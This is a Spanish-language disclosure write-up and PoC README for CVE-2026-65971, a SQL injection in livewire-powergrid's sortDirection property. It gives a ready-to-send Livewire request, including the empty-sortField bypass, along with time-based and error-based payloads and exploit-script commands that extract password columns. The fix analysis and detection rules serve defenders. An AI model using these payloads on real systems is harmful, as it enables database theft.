
Prueba de concepto y análisis técnico para CVE-2026-65971 — inyección SQL mediante la propiedad sortDirection de Livewire en power-components/livewire-powergrid (< 6.10.4)
sortDirectionPrueba de concepto e informe técnico completo para CVE-2026-65971 / GHSA-7fgc-3h6c-698r,
una inyección SQL en power-components/livewire-powergrid
accesible a través de la propiedad pública sortDirection de Livewire.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| Paquete | power-components/livewire-powergrid (Composer / Packagist) |
| Afectado | >= 6.0.0, < 6.10.4 |
| Corregido | 6.10.4 |
| Debilidad | CWE-89 — Neutralización incorrecta de elementos especiales utilizados en un comando SQL |
| Gravedad | 7.6 Alta — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| Reportado por | Caio Fabrício (@BiiTts) |
| Divulgación | Coordinada, mediante aviso de seguridad privado de GitHub |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 Resumen
PowerGrid es un componente de datatable para Laravel + Livewire (~2k estrellas, ampliamente utilizado en
paneles de administración de Laravel). Su estado de ordenamiento reside en dos **propiedades públicas de Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
En Livewire, una propiedad pública forma parte del formato wire del componente: cualquier cliente que pueda
alcanzar el componente puede establecerla mediante POST /livewire/update. Eso es por diseño; la frontera
de seguridad es lo que el servidor hace con el valor.
La función naturalSort() de PowerGrid construye una expresión ORDER BY cruda que contiene el
placeholder literal {sortDirection}, y un pipeline sustituye ese placeholder por el valor de la
propiedad sin validar antes de pasar la cadena a orderByRaw(). Por lo tanto, la palabra clave de
dirección acaba literalmente dentro del SQL.
El propio orderBy() de Laravel rechaza cualquier cosa que no sea asc/desc, y esa validación es lo que
hace seguro el camino de ordenación ordinario. El fallo es que existe un segundo camino sin validar hacia la misma
cláusula — y un atacante puede alcanzarlo saltándose por completo el camino que sí valida
(véase El bypass).
Resultado: SQL arbitrario en la cláusula ORDER BY, explotable como oráculo ciego booleano/basado en tiempo
para leer cualquier dato que el usuario de la base de datos pueda leer.
Cualquiera que pueda acceder a una tabla de PowerGrid que use naturalSort puede leer datos arbitrarios de
la base de datos — otras tablas, hashes de contraseñas, tokens de sesión, claves de API, registros de otros inquilinos —
mediante un oráculo basado en tiempo / booleano.
SELECT.; UPDATE ... no se ejecuta. El impacto de escritura se limita a lo que una subconsulta pueda desencadenar.SLEEP() y subconsultas pesadas —
trivialmente abusable para inmovilizar hilos de la base de datos.Privilegios requeridos: PR:L porque una tabla de datos normalmente está detrás de la autenticación de la
aplicación. Si la tabla afectada se renderiza en una página no autenticada, recalcular con
PR:N → 8.2 Alta.
Tres archivos, tres etapas. Todas las referencias apuntan a la etiqueta vulnerable v6.10.3.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
Ninguna de las dos propiedades tiene una lista blanca, una regla de validación ni un setter de normalización. `sortDirection` solo se asigna o se invierte:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (línea 103) existe — el lugar natural para la validación — pero en v6.10.3
solo maneja la contabilidad de la carga diferida. Nunca inspecciona el valor.
Debido a que Livewire hidrata las propiedades públicas directamente desde la solicitud, sortDirection es
completamente controlable por el atacante, como una cadena arbitraria, en este punto.
naturalSort() inserta un marcador de posiciónsrc/Providers/Macros.php, líneas 102–116 — la macro de columna naturalSort:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` se resuelve a una expresión por driver construida por
`getSortSqlByDriver()` en `src/DataSource/Support/Sql.php` (líneas 60–100). Cada variante de driver
termina con el mismo marcador de posición literal:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
The vulnerability is independiente del controlador — every branch interpolates {sortDirection}.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
y la ejecución, línea 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') devuelve la cadena del atacante, preg_replace_callback
la inserta en el texto SQL, y orderByRaw() — que por contrato no escapa su
argumento — la pasa a la base de datos.
Observa la amarga ironía una línea más abajo: resolveBindings() (línea 69) existe, y naturalSort
declara 'bindings' => []. El mecanismo para la parametrización segura está justo ahí. No puede
usarse para una palabra clave de dirección — ORDER BY x ? no es SQL válido, una dirección nunca puede ser un
parámetro vinculado — que es precisamente por lo que una palabra clave de dirección debe estar en la lista blanca.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 El bypass: por qué la validación de Laravel no te salva
Esta es la parte que convierte la "interpolación cruda" en un bug realmente explotable, y es la
razón por la que el problema sobrevivió en un paquete maduro y ampliamente utilizado.
PowerGrid procesa una consulta a través de un **pipeline**. Dos etapas de ese pipeline tocan la
dirección de ordenación:
**Pipeline `Sorting`** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() es la API de validación de Laravel. Dale cualquier cosa que no sea asc/desc y lanza una excepción:```
InvalidArgumentException: Order direction must be "asc" or "desc".
Así en la ruta normal — el usuario hace clic en el encabezado de una columna, `sortField=name`, `sortDirection=<payload>` — el framework bloquea la inyección. Una auditoría rápida se detiene aquí y concluye «mitigado por Laravel».
El **`ColumnRawQueries` pipeline** — la segunda etapa, mostrada arriba — **no tiene esa protección**. Mira su `handle()` (líneas 21–27): itera las columnas, y para cada columna que lleva `rawQueries` las aplica *incondicionalmente*. Nunca consulta `sortField`. Nunca consulta el resultado de la pipeline `Sorting`.
Esa asimetría es el error:
| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Resultado |
|---|---|---|---|
| `"name"` (relleno) | se ejecuta → `orderBy()` **valida** → lanza una excepción sobre el payload | se ejecuta → inyecta | ❌ bloqueado por la excepción |
| `""` (vacío) | `filled('')` es `false` → **se omite por completo** | se ejecuta → inyecta | ✅ **la inyección se aplica** |
Establecer **`sortField` en una cadena vacía** hace que la etapa de validación se omita a sí misma, mientras que la etapa raw aún emite el `naturalSort` `ORDER BY` con el `{sortDirection}` del atacante dentro. La validación de Laravel nunca se invoca, porque la ruta de código que la contiene nunca se ejecuta.
**El ataque completo es, por tanto, de dos campos, no uno:** `sortDirection` transporta el payload, y `sortField=""` es la llave que abre la puerta.
---
## 🎯 Los campos exactos
Todo ocurre a través del endpoint estándar de actualización de Livewire. No hay cabeceras especiales, ni ruta personalizada, ni función de administrador.
**Endpoint:** `POST /livewire/update`
**Cuerpo (JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
SQL resultante (laboratorio MariaDB, tabla rooms, columna name con naturalSort):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
La carga útil se encuentra en un espacio de expresión completo de la lista `ORDER BY`, por lo que una subconsulta simple funciona y la cláusula sigue siendo SQL válido.
---
## 🔬 Cómo se encontró — el camino a través del código
El orden siguiente es el orden real del razonamiento, incluido el paso que casi cerró la investigación como falso positivo.
**1. Superficie de ataque primero: las propiedades públicas de Livewire son entrada del atacante.** El propio modelo del framework dice que toda propiedad `public` de un componente puede ser escrita por el cliente a través de `/livewire/update`. Así que la pregunta de auditoría para cualquier paquete de Livewire no es «¿hay entrada de usuario?», sino «¿qué propiedades públicas llegan a un sumidero peligroso?». Se enumeraron las propiedades públicas de PowerGrid; `$sortField` y `$sortDirection` destacaron como las que existen específicamente para ser compuestas en SQL.
**2. Síguelas hasta cada sumidero.** Se hizo grep en el paquete en busca de APIs de SQL crudo — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — y se buscó cualquiera que pudiera recibir esas propiedades. El `'method' => 'orderByRaw'` de `naturalSort` en `Macros.php` fue el hallazgo.
**3. Encuentra la conexión entre propiedad y sumidero.** El SQL crudo en `Sql.php` no hacía referencia a `$this->sortDirection`; contenía la cadena literal `{sortDirection}`. Una plantilla así implica un resolvedor en algún lugar. El grep por el patrón de llaves condujo a `ColumnRawQueries::resolvePlaceholders()` y a su `data_get($this->component, $property, '')` — un lector de propiedades genérico sin escape. Fuente y sumidero quedaron conectados.
**4. El paso que casi lo mató: la mitigación.** El primer intento en vivo — establecer `sortDirection` a una carga útil y disparar — no produjo una fuga, sino `InvalidArgumentException: Order direction must be "asc" or "desc".` El `orderBy()` de Laravel lo estaba capturando. La conclusión tentadora aquí es *"el framework mitiga, no es explotable"*, y esa conclusión habría sido errónea.
**5. Pregunta de dónde vino la excepción, no solo que ocurrió.** La traza apuntaba al `orderBy()` del pipeline `Sorting` — **una etapa diferente** del sumidero `orderByRaw()` identificado en el paso 2. Dos etapas, dos escrituras independientes en el mismo `ORDER BY`, solo una de ellas validando. Eso reformuló la pregunta de "¿puedo derrotar al validador de Laravel?" (no — es una comparación estricta) a **"¿puedo llegar a la etapa cruda sin ejecutar la etapa de validación?"**
**6. Lee la guarda.** La etapa de validación se ejecuta bajo `if (filled($this->component->sortField))`. `filled('')` es `false`. La etapa cruda no tiene ninguna guarda. El bypass fue una consecuencia directa: enviar `sortField=""` y solo se ejecuta la etapa sin guarda.
**7. Confirma empíricamente, dos veces, con técnicas independientes.** Una sola señal positiva no es un hallazgo — un delta de tiempo podría ser un limitador de tasa, un error podría ser un 500 genérico. Se requirieron tanto una prueba basada en errores (la base de datos devolviendo la subconsulta inyectada textualmente) como un oráculo booleano basado en tiempo (diferenciando TRUE de FALSE sobre datos reales) antes de considerarlo confirmado. Ver [Evidencia](#-evidence).
**Conclusión generalizable:** una mitigación a nivel de framework solo protege la ruta de código en la que se encuentra. Cuando dos etapas del pipeline escriben en la misma cláusula SQL, «el framework lo valida» es una afirmación sobre una de ellas. Pregunta siempre en qué etapa vive realmente la validación y si la etapa peligrosa puede ejecutarse sola.
---
## 🧪 Evidencia
Laboratorio: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, con un componente PowerGrid `RoomTable` cuya columna `name` declara `->naturalSort(true)` y una tabla `rooms` que contiene una columna `secret`. Laboratorio completo en [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).
**Basado en errores — la subconsulta inyectada llega a la BD textualmente** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
La base de datos analizó y ejecutó un SELECT proporcionado por el atacante dentro del ORDER BY. Esta es una prueba inequívoca de inyección: el texto del error contiene el SQL inyectado tal como se ejecutó, no tal como se envió.
Extracción arbitraria de datos basada en tiempo (a ciegas):``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
El par TRUE/FALSE es lo que transforma esto de "algo va lento" a "puedo leer tus datos":
la misma forma de petición devuelve dos tiempos claramente separados dependiendo de una condición sobre un
valor que el atacante no puede ver. Eso es un oráculo funcional, y `poc/exploit_powergrid_sqli.py`
lo recorre carácter por carácter.
> `SLEEP(3)` produce ~9s en lugar de ~3s porque la ordenación aplica la expresión de sueño a través de
> múltiples filas — una señal más fuerte, no más débil.
Notas en bruto: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).
---
## ⚙️ Prueba de concepto
Sin dependencias, solo biblioteca estándar de Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
Lo hará:
GET the page and scrape the CSRF token plus the wire:snapshot of the PowerGrid component;sortDirection=asc request as a baseline;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" and compare timings;Opciones útiles:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
Contra un objetivo parcheado a `6.10.4`, el script no reporta ningún delta de tiempo y sale limpiamente — la
lista de permitidos reduce cada payload a `asc`.
---
## ✅ Análisis del fix (`v6.10.4`)
Los mantenedores implementaron **defensa en profundidad en cuatro puntos de llamada** — la forma correcta para
esta clase de bug. La primitiva:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
Una lista de permitidos estricta con un valor predeterminado seguro — no una lista de bloqueados, no un escape, no una regex. Para una palabra clave que no puede ser un parámetro vinculado, este es el único control correcto.
Aplicado en:
ColumnRawQueries::resolvePlaceholders() — el sumidero. {sortDirection} ahora tiene un caso especial
y se resuelve solo mediante sanitizeSortDirection(), nunca a través del genérico data_get().Concerns\Sorting::updatedSortDirection() — el hook de Livewire. Sanitiza en la escritura, por lo que la
propiedad en sí ya no puede contener una carga útil.Concerns\Sorting::sortBy() — sanea el argumento de dirección.Pipelines\Sorting::applySingleSort() / applyMultipleSort() — cubre los callbacks sortUsing proporcionados
por el usuario, que pueden construir su propio orderByRaw. Esto cerró una segunda
vía relacionada además de la reportada originalmente.Se añadieron pruebas de regresión: tests/Feature/SortDirectionInjectionTest.php y un
fixture DishesNaturalSortTable.
Verificación del parche realizada en la etiqueta publicada (no sobre una promesa): se clonó v6.10.4, se hizo grep
de todos los sumideros de dirección en bruto, se ejecutó la suite (30/30 pasan) y se realizó fuzzing sobre sanitizeSortDirection() con 17
cargas útiles: la carga útil basada en tiempo del aviso, bytes nulos, comentarios SQL, literales hexadecimales, mayúsculas y minúsculas mezcladas,
relleno de espacios en blanco, unicode. Todas se reducen a asc o desc. Los sumideros restantes (exportación mediante
WithExport/ExportableJob, Scout) pasan por orderBy() validado en lugar de orderByRaw()
y no son inyectables.
Veredicto: CORREGIDO.
La parte del diff relevante para la seguridad está en patch/.
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**Actualice — no intente evitarlo.** Si realmente no puede actualizar hoy, la mitigación temporal es sanitizar en el propio componente:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
Esto es una solución provisional. Actualiza.
La condición previa es que al menos una columna declare naturalSort:```bash
grep -rn "naturalSort" app/ resources/
La ausencia de una columna `naturalSort` significa que el `ORDER BY` bruto nunca se registra y la ruta principal no es alcanzable. Ten en cuenta que `v6.10.4` también endureció la ruta del callback `sortUsing` — si tus callbacks de ordenación personalizados construyen SQL bruto a partir de la dirección, estás expuesto también a través de esa ruta, tengas `naturalSort` o no.
### Detectando la explotación
El ataque es una solicitud Livewire de apariencia normal; no hay endpoint ni método inusual sobre el que alertar. Observa el **valor** de `sortDirection` — el tráfico legítimo solo envía `asc` o `desc`.
Todo lo demás es, por definición, anómalo. Señales prácticas:
- `POST /livewire/update` cuyo cuerpo JSON contiene `"sortDirection"` con un valor que no es exactamente `asc`/`desc` (sin distinción entre mayúsculas y minúsculas) — alta fidelidad, casi cero falsos positivos;
- la misma solicitud con `"sortField":""` (vacío) junto con un `sortDirection` no trivial — la firma exacta del bypass;
- palabras clave SQL en ese valor: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- registros de errores de la aplicación con `SQLSTATE[HY000] 1105` o `SQLSTATE[42000]` que hagan referencia a `order by`;
- ráfagas de POSTs con la misma forma y tiempos de respuesta que se agrupan de manera bimodal (rápido/lento) — un oráculo ciego al que se está sondeando.
Se proporcionan dos reglas Sigma en [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) —
una sobre el cuerpo de la solicitud y otra sobre la firma de error de base de datos para cuando no se dispone de registro del cuerpo. Una plantilla de Nuclei que detecta componentes PowerGrid alcanzables (la superficie previa necesaria) está en [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml); confirma cualquier hallazgo con `poc/exploit_powergrid_sqli.py --check-only`.
---
## 📚 Referencias
- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Corrección publicada — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Diff de la corrección — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Neutralización incorrecta de elementos especiales usados en un comando SQL](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Las propiedades pueden escribirse desde el cliente](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ Legal
Publicado después de una divulgación coordinada, un parche publicado y un aviso público del proveedor. El PoC está dirigido al laboratorio local en [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) y está pensado para que los defensores validen su propia exposición y para que los investigadores estudien la clase de bug. Ejecutarlo contra sistemas que no estás autorizado a probar es ilegal. Eres responsable de lo que hagas con él.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
| Field | Role | Value |
|---|
components[0].updates.sortDirection | punto de inyección | la carga útil SQL, prefijada con una dirección válida para que la cláusula se mantenga sintácticamente completa |
components[0].updates.sortField | clave de omisión | "" — vacío, para omitir el pipeline de validación Sorting |
components[0].snapshot | soporte | estado del componente Livewire; extraído de wire:snapshot="..." en el HTML de la página (desescaparlo de HTML) |
_token / X-CSRF-TOKEN | soporte | extraído de data-csrf="..." o del blob "csrf":"..." en la página |